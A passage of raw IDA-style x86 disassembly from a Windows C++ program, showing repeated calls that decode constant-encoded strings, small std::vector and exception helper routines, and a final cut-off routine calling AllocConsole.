push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+5E4h+var_55C] push 13h push ecx mov [esp+5ECh+var_218], 3Ch call sub_13ABDB5 add esp, 64h mov ecx, eax mov [esp+588h+var_218], 3Dh call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+5A0h+var_560], esp push eax call sub_13ABC61 lea edx, [esi+1234h] mov ecx, esi push edx mov [esp+5A8h+var_21C], 3Eh call sub_13AC0C1 lea ecx, [esp+5A8h+var_594] mov [esp+5A8h+var_250], bl call sub_13AB626 lea ecx, [esp+5A8h+var_528] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+5C0h+var_59C], esp push eax call sub_13ABC61 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 mov [esp+614h+var_254], 3Fh push 13h push 3Fh push 9 lea eax, [esp+620h+var_598] push 13h push eax call sub_13ABDB5 add esp, 64h mov ecx, eax mov [esp+5C4h+var_254], 40h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+5DCh+var_59C], esp push eax call sub_13ABC61 lea ecx, [esi+127Dh] mov [esp+5E0h+var_258], 41h push ecx mov ecx, esi call sub_13AC0C1 lea ecx, [esp+5E4h+var_5D0] mov [esp+5E4h+var_28C], bl call sub_13AB626 lea ecx, [esp+5E4h+var_48C] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+5FCh+var_5D8], esp push eax call sub_13ABC61 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+64Ch+var_5D4] push 13h push edx mov [esp+654h+var_290], 42h call sub_13ABDB5 add esp, 54h mov ecx, eax mov [esp+600h+var_290], 43h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+618h+var_5D8], esp push eax call sub_13ABC61 lea eax, [esi+11EBh] mov ecx, esi push eax mov [esp+620h+var_294], 44h call sub_13AC0C1 lea ecx, [esp+620h+var_60C] mov [esp+620h+var_2C8], bl call sub_13AB626 lea ecx, [esp+620h+var_498] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+638h+var_614], esp push eax call sub_13ABC61 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+690h+var_610] push 13h push ecx mov [esp+698h+var_2CC], 45h call sub_13ABDB5 add esp, 5Ch mov ecx, eax mov [esp+63Ch+var_2CC], 46h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+654h+var_614], esp push eax call sub_13ABC61 lea edx, [esi+11A2h] mov ecx, esi push edx mov [esp+65Ch+var_2D0], 47h call sub_13AC0C1 lea ecx, [esp+65Ch+var_648] mov [esp+65Ch+var_304], bl call sub_13AB626 lea ecx, [esp+65Ch+var_5F4] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+674h+var_650], esp push eax call sub_13ABC61 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h mov [esp+6D4h+var_308], 48h push 3Fh push 9 lea eax, [esp+6DCh+var_64C] push 13h push eax call sub_13ABDB5 add esp, 6Ch mov ecx, eax mov [esp+678h+var_308], 49h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+690h+var_650], esp push eax call sub_13ABC61 lea edi, [esi+10C7h] mov ecx, esi push edi mov [esp+698h+var_30C], 4Ah call sub_13AC0C1 lea ecx, [esp+698h+var_684] mov [esp+698h+var_340], bl call sub_13AB626 lea ecx, [esp+698h+var_528] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+6B0h+var_68C], esp push eax call sub_13ABC61 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+710h+var_688] push 13h push ecx mov [esp+718h+var_344], 4Bh call sub_13ABDB5 add esp, 64h mov ecx, eax mov [esp+6B4h+var_344], 4Ch call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+6CCh+var_68C], esp push eax call sub_13ABC61 lea edx, [esi+1159h] mov ecx, esi push edx mov [esp+6D4h+var_348], 4Dh call sub_13AC0C1 lea ecx, [esp+6D4h+var_6C0] mov [esp+6D4h+var_37C], bl call sub_13AB626 lea ecx, [esp+6D4h+var_690] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+6ECh+var_6C8], esp push eax call sub_13ABC61 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+748h+var_6C4] push 13h push eax mov [esp+750h+var_380], 4Eh call sub_13ABDB5 add esp, 60h mov ecx, eax mov [esp+6F0h+var_380], 4Fh call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+708h+var_6C8], esp push eax call sub_13ABC61 lea ecx, [esi+12C6h] mov [esp+70Ch+var_384], 50h push ecx mov ecx, esi call sub_13AC0C1 lea ecx, [esp+710h+var_6FC] mov [esp+710h+var_3B8], bl call sub_13AB626 lea edx, [esp+710h+var_700] mov ecx, offset byte_E19F9F push edx mov [esp+714h+var_700], edi call sub_13ABE5F push offset byte_446F80 push offset word_E2AAAA call sub_13AB42D add esp, 8 lea ecx, [esp+714h+var_4E4] call sub_13AB824 lea ecx, [esp+714h+var_4B4] mov byte ptr [esp+714h+var_3BC], 51h call sub_13AB824 push 56D2h push 539h mov byte ptr [esp+71Ch+var_3BC], 52h call sub_13AC5A3 add esp, 8 push eax lea eax, [esp+718h+var_4E4] push offset dword_4437F4 push eax call sub_13AB42D push 56D2h push 539h call sub_13AC5A3 add esp, 14h lea ecx, [esp+714h+var_4B4] push eax push offset dword_4437F4 push ecx call sub_13AB42D sub esp, 0Ch lea edx, [esp+72Ch+var_6E8] mov ecx, esp mov [esp+72Ch+var_708], esp push edx call sub_13AB8C9 lea eax, [esi+606h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+74Ch+var_708] mov ecx, esp mov [esp+74Ch+var_728], esp push edx call sub_13AB8C9 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+76Ch+var_728] mov ecx, esp mov [esp+76Ch+var_748], esp push edx call sub_13AB8C9 lea eax, [esi+805h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+78Ch+var_748] mov ecx, esp mov [esp+78Ch+var_768], esp push edx call sub_13AB8C9 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+7ACh+var_768] mov ecx, esp mov [esp+7ACh+var_788], esp push edx call sub_13AB8C9 lea eax, [esi+897h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+7CCh+var_788] mov ecx, esp mov [esp+7CCh+var_7A8], esp push edx call sub_13AB8C9 lea eax, [esi+450h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+7ECh+var_790] mov ecx, esp mov [esp+7ECh+var_7C8], esp push edx call sub_13AB8C9 lea eax, [esi+499h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+80Ch+var_7C8] mov ecx, esp mov [esp+80Ch+var_7E8], esp push edx call sub_13AB8C9 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+82Ch+var_7E8] mov ecx, esp mov [esp+82Ch+var_808], esp push edx call sub_13AB8C9 lea eax, [esi+574h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+84Ch+var_808] mov ecx, esp mov [esp+84Ch+var_828], esp push edx call sub_13AB8C9 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+86Ch+var_810] mov ecx, esp mov [esp+86Ch+var_848], esp push edx call sub_13AB8C9 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+88Ch+var_614] mov ecx, esp mov [esp+88Ch+var_868], esp push edx call sub_13AB8C9 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+8ACh+var_6F4] mov ecx, esp mov [esp+8ACh+var_888], esp push edx call sub_13AB8C9 lea eax, [esi+407h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+8CCh+var_69C] mov ecx, esp mov [esp+8CCh+var_8A8], esp push edx call sub_13AB8C9 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+8ECh+var_794] mov ecx, esp mov [esp+8ECh+var_8C8], esp push edx call sub_13AB8C9 lea eax, [esi+698h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+90Ch+var_7E4] mov ecx, esp mov [esp+90Ch+var_8E8], esp push edx call sub_13AB8C9 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+92Ch+var_834] mov ecx, esp mov [esp+92Ch+var_908], esp push edx call sub_13AB8C9 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+94Ch+var_6BC] mov ecx, esp mov [esp+94Ch+var_928], esp push edx call sub_13AB8C9 lea eax, [esi+773h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+96Ch+var_6AC] mov ecx, esp mov [esp+96Ch+var_948], esp push edx call sub_13AB8C9 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h mov ecx, esp mov [esp+98Ch+var_968], esp push offset word_E2AAAA call sub_13AB8C9 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_13ABF2C sub esp, 18h lea edx, [esp+9ACh+var_86C] mov ecx, esp mov [esp+9ACh+var_988], esp push edx call sub_13AB8C9 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+9CCh+var_8BC] mov ecx, esp mov [esp+9CCh+var_9A8], esp push edx call sub_13AB8C9 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+9ECh+var_744] mov ecx, esp mov [esp+9ECh+var_9C8], esp push edx call sub_13AB8C9 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_13ABF2C sub esp, 18h lea edx, [esp+0A0Ch+var_7C4] mov ecx, esp mov [esp+0A0Ch+var_9E8], esp push edx call sub_13AB8C9 lea eax, [esi+375h] push eax mov ecx, esi call sub_13ABF2C push 0 mov ecx, offset byte_E19F9F call sub_13AB86A mov ecx, [eax] add ecx, 16Dh call sub_13ABBE4 push eax push offset byte_44743D mov ecx, offset word_448D26 call sub_13AB996 push 0 mov ecx, offset byte_E19F9F call sub_13AB86A mov ecx, [eax] add ecx, 1B6h call sub_13ABBE4 push eax push offset dword_4473F4 mov ecx, offset word_448D26 call sub_13AB996 push 0 mov ecx, offset byte_E19F9F call sub_13AB86A mov ecx, [eax] call sub_13ABBE4 push eax push offset dword_4472D0 mov ecx, offset word_448D26 call sub_13AB996 push 0 mov ecx, offset byte_E19F9F call sub_13AB86A mov ecx, [eax] add ecx, 124h call sub_13ABBE4 push eax push offset word_447362 mov ecx, offset word_448D26 call sub_13AB996 push 0 mov ecx, offset byte_E19F9F call sub_13AB86A mov ecx, [eax] add ecx, 0DBh call sub_13ABBE4 push eax push offset byte_447319 mov ecx, offset word_448D26 call sub_13AB996 push 0 mov ecx, offset byte_E19F9F call sub_13AB86A mov ecx, [eax] add ecx, 92h call sub_13ABBE4 push eax push offset byte_4473AB mov ecx, offset word_448D26 call sub_13AB996 push 0 mov ecx, offset byte_E19F9F call sub_13AB86A mov ecx, [eax] add ecx, 1FFh call sub_13ABBE4 push eax push offset byte_4474CF mov ecx, offset word_448D26 call sub_13AB996 lea ecx, [esp+0A68h+var_898] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+0A80h+var_A5C], esp push eax call sub_13ABC61 mov [esp+0A84h+var_714], 53h lea ecx, [esp+0A84h+var_824] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+0A9Ch+var_A10], esp push eax call sub_13ABC61 lea ecx, [esp+0AA0h+var_870] mov [esp+0AA0h+var_718], 54h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+0AB8h+var_A10], esp push eax call sub_13ABC61 lea ecx, [esp+0ABCh+var_9AC] mov [esp+0ABCh+var_71C], 55h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+0AD4h+var_A10], esp push eax call sub_13ABC61 mov ecx, offset word_448CAE mov [esp+0AD8h+var_720], 52h call sub_13AB77F lea ecx, [esp+0AD8h+var_878] mov byte ptr [esp+0AD8h+var_780], 51h call sub_13AB626 lea ecx, [esp+0AD8h+var_8A8] mov byte ptr [esp+0AD8h+var_780], bl call sub_13AB626 lea ecx, [esp+0AD8h+var_A94] mov byte ptr [esp+0AD8h+var_780], 1Dh call sub_13AB626 lea ecx, [esp+0AD8h+var_AAC] mov byte ptr [esp+0AD8h+var_780], 1Ch call sub_13AB626 lea ecx, [esp+0AD8h+var_9F8] mov byte ptr [esp+0AD8h+var_780], 1Bh call sub_13AB626 lea ecx, [esp+0AD8h+var_818] mov byte ptr [esp+0AD8h+var_780], 1Ah call sub_13AB626 lea ecx, [esp+0AD8h+var_860] mov byte ptr [esp+0AD8h+var_780], 19h call sub_13AB626 lea ecx, [esp+0AD8h+var_9C8] mov byte ptr [esp+0AD8h+var_780], 18h call sub_13AB626 lea ecx, [esp+0AD8h+var_830] mov byte ptr [esp+0AD8h+var_780], 17h call sub_13AB626 lea ecx, [esp+0AD8h+var_998] mov byte ptr [esp+0AD8h+var_780], 16h call sub_13AB626 lea ecx, [esp+0AD8h+var_848] mov byte ptr [esp+0AD8h+var_780], 15h call sub_13AB626 lea ecx, [esp+0AD8h+var_968] mov byte ptr [esp+0AD8h+var_780], 14h call sub_13AB626 lea ecx, [esp+0AD8h+var_A28] mov byte ptr [esp+0AD8h+var_780], 13h call sub_13AB626 lea ecx, [esp+0AD8h+var_938] mov byte ptr [esp+0AD8h+var_780], 12h call sub_13AB626 lea ecx, [esp+0AD8h+var_8C0] mov byte ptr [esp+0AD8h+var_780], 11h call sub_13AB626 lea ecx, [esp+0AD8h+var_908] mov byte ptr [esp+0AD8h+var_780], 10h call sub_13AB626 lea ecx, [esp+0AD8h+var_890] mov byte ptr [esp+0AD8h+var_780], 0Fh call sub_13AB626 lea ecx, [esp+0AD8h+var_8D8] mov byte ptr [esp+0AD8h+var_780], 0Eh call sub_13AB626 lea ecx, [esp+0AD8h+var_A10] mov byte ptr [esp+0AD8h+var_780], 0Dh call sub_13AB626 lea ecx, [esp+0AD8h+var_7E8] mov byte ptr [esp+0AD8h+var_780], 0Ch call sub_13AB626 lea ecx, [esp+0AD8h+var_7B8] mov byte ptr [esp+0AD8h+var_780], 0Bh call sub_13AB626 lea ecx, [esp+0AD8h+var_800] mov byte ptr [esp+0AD8h+var_780], 0Ah call sub_13AB626 lea ecx, [esp+0AD8h+var_7D0] mov byte ptr [esp+0AD8h+var_780], 9 call sub_13AB626 lea ecx, [esp+0AD8h+var_7A0] mov byte ptr [esp+0AD8h+var_780], 8 call sub_13AB626 lea ecx, [esp+0AD8h+var_A70] mov byte ptr [esp+0AD8h+var_780], 7 call sub_13AB626 lea ecx, [esp+0AD8h+var_9E0] mov byte ptr [esp+0AD8h+var_780], 6 call sub_13AB626 lea ecx, [esp+0AD8h+var_9B0] mov byte ptr [esp+0AD8h+var_780], 5 call sub_13AB626 lea ecx, [esp+0AD8h+var_A40] mov byte ptr [esp+0AD8h+var_780], 4 call sub_13AB626 lea ecx, [esp+0AD8h+var_A58] mov byte ptr [esp+0AD8h+var_780], 3 call sub_13AB626 lea ecx, [esp+0AD8h+var_980] mov byte ptr [esp+0AD8h+var_780], 2 call sub_13AB626 lea ecx, [esp+0AD8h+var_950] mov byte ptr [esp+0AD8h+var_780], 1 call sub_13AB626 lea ecx, [esp+0AD8h+var_920] mov byte ptr [esp+0AD8h+var_780], 0 call sub_13AB626 lea ecx, [esp+0AD8h+var_8F0] mov [esp+0AD8h+var_780], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+0AD8h+var_788] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn sub_13B1B90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 5C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3850 proc near ; CODE XREF: sub_13AB86Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_13ABD74 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_13B3868 mov ecx, esi call sub_13ABD0B loc_13B3868: ; CODE XREF: sub_13B3850+Fj mov ecx, esi call sub_13ABE37 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_13B3850 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3890 proc near ; CODE XREF: sub_13ABE5Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13AB68A push eax mov ecx, esi call sub_13ABA8B pop esi retn 4 sub_13B3890 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B38C0 proc near ; CODE XREF: sub_13ABE37j mov eax, [ecx+4] retn sub_13B38C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B38E0 proc near ; CODE XREF: sub_13AB68Aj mov eax, [ecx+8] retn sub_13B38E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3900 proc near ; CODE XREF: sub_13ABD74j mov edx, [ecx+4] test edx, edx jnz short loc_13B390A xor eax, eax retn ; --------------------------------------------------------------------------- loc_13B390A: ; CODE XREF: sub_13B3900+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_13B3900 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3930 proc near ; CODE XREF: sub_13ABA8Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_13ABE37 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_13ABF9A mov ecx, edi call sub_13ABE37 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_13B3930 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_13B3980: ; CODE XREF: sub_13ABD0Bj push 0FFFFFFFFh push 438A59h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset dword_443940 call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] call ??0out_of_range@std@@QAE@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z lea edx, [esp+14h] push offset dword_43F080 push edx call near ptr 13E0C52h nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3A00 proc near ; CODE XREF: sub_13ABF9Aj var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_13B3ACB mov ecx, esi call sub_13ABD74 cmp edi, eax jnb short loc_13B3A33 mov ecx, esi call sub_13ABD74 mov ebp, eax jmp short loc_13B3A35 ; --------------------------------------------------------------------------- loc_13B3A33: ; CODE XREF: sub_13B3A00+26j mov ebp, edi loc_13B3A35: ; CODE XREF: sub_13B3A00+31j mov ecx, esi call sub_13ABD74 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_13AC0AD mov edx, [esp+18h+var_4] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_13ABAD6 mov ecx, [esp+24h+var_8] mov [esp+24h+var_C], eax push ecx push edi push eax mov ecx, esi call sub_13AB577 mov edx, [esp+30h+var_18] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+30h+var_1C] push eax push ecx push edx mov ecx, esi call sub_13ABAD6 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_13ABB0D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_13AB694 lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_13ABD74 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_13B3ACB: ; CODE XREF: sub_13B3A00+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_13B3B29 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_13ABAD6 mov eax, [esi+8] mov edx, [esp+1Ch] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_13AB577 mov edx, [esp+28h+var_C] mov eax, [esi+8] push edx push eax push ebx call sub_13AC396 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_13B3B29: ; CODE XREF: sub_13B3A00+D8j test edi, edi jbe short loc_13B3B63 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_13ABAD6 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_13AC0CB mov ecx, [esp+28h] lea edx, [edi+ebx] push ecx push edx push ebx call sub_13AC396 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_13B3B63: ; CODE XREF: sub_13B3A00+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_13B3A00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3BD0 proc near ; CODE XREF: sub_13ABB0Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_13B3BF0 loc_13B3BE1: ; CODE XREF: sub_13B3BD0+1Ej push esi mov ecx, edi call sub_13AC472 add esi, 4 cmp esi, ebx jnz short loc_13B3BE1 loc_13B3BF0: ; CODE XREF: sub_13B3BD0+Fj pop edi pop esi pop ebx retn 8 sub_13B3BD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3C10 proc near ; CODE XREF: sub_13AB694j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13B3C10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3C30 proc near ; CODE XREF: sub_13AC472j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_10 pop ecx retn 4 sub_13B3C30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3C50 proc near ; CODE XREF: sub_13ABAD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_13B3C82 push edi mov edi, [esp+10h+arg_8] loc_13B3C66: ; CODE XREF: sub_13B3C50+27j push esi push edi mov ecx, ebx call sub_13AB9AA add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_13B3C66 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_13B3C82: ; CODE XREF: sub_13B3C50+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_13B3C50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3CA0 proc near ; CODE XREF: sub_13AB577j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_13B3CC7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_13B3CB6: ; CODE XREF: sub_13B3CA0+23j push ebx push esi mov ecx, ebp call sub_13AB9AA add esi, 4 dec edi jnz short loc_13B3CB6 pop esi pop ebx loc_13B3CC7: ; CODE XREF: sub_13B3CA0+Aj pop edi pop ebp retn 0Ch sub_13B3CA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3CE0 proc near ; CODE XREF: sub_13AC0ADj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC43B add esp, 8 retn 8 sub_13B3CE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3D10 proc near ; CODE XREF: sub_13AB9AAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AB545 add esp, 8 retn 8 sub_13B3D10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3D40 proc near ; CODE XREF: sub_13AC396j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_13B3D5D mov edx, [esp+arg_8] push esi loc_13B3D51: ; CODE XREF: sub_13B3D40+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_13B3D51 pop esi locret_13B3D5D: ; CODE XREF: sub_13B3D40+Aj retn sub_13B3D40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3D70 proc near ; CODE XREF: sub_13AC0CBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_13B3D92 mov eax, [esp+arg_8] push esi loc_13B3D81: ; CODE XREF: sub_13B3D70+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_13B3D81 pop esi retn ; --------------------------------------------------------------------------- loc_13B3D92: ; CODE XREF: sub_13B3D70+Aj mov eax, [esp+arg_8] retn sub_13B3D70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3DD0 proc near ; CODE XREF: sub_13AC43Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_13B3DDA xor eax, eax loc_13B3DDA: ; CODE XREF: sub_13B3DD0+6j shl eax, 2 push eax call near ptr 13E0C1Ah add esp, 4 retn sub_13B3DD0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3E00 proc near ; CODE XREF: sub_13AB545j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_13AB5CC add esp, 8 test eax, eax jz short locret_13B3E1B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_13B3E1B: ; CODE XREF: sub_13B3E00+11j retn sub_13B3E00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3E30 proc near ; CODE XREF: sub_13ABD79j arg_0 = dword ptr 4 mov al, ds:byte_4471AA push esi test al, al mov esi, ecx jz short loc_13B3E66 push edi call AllocConsole ; AllocConsole mov 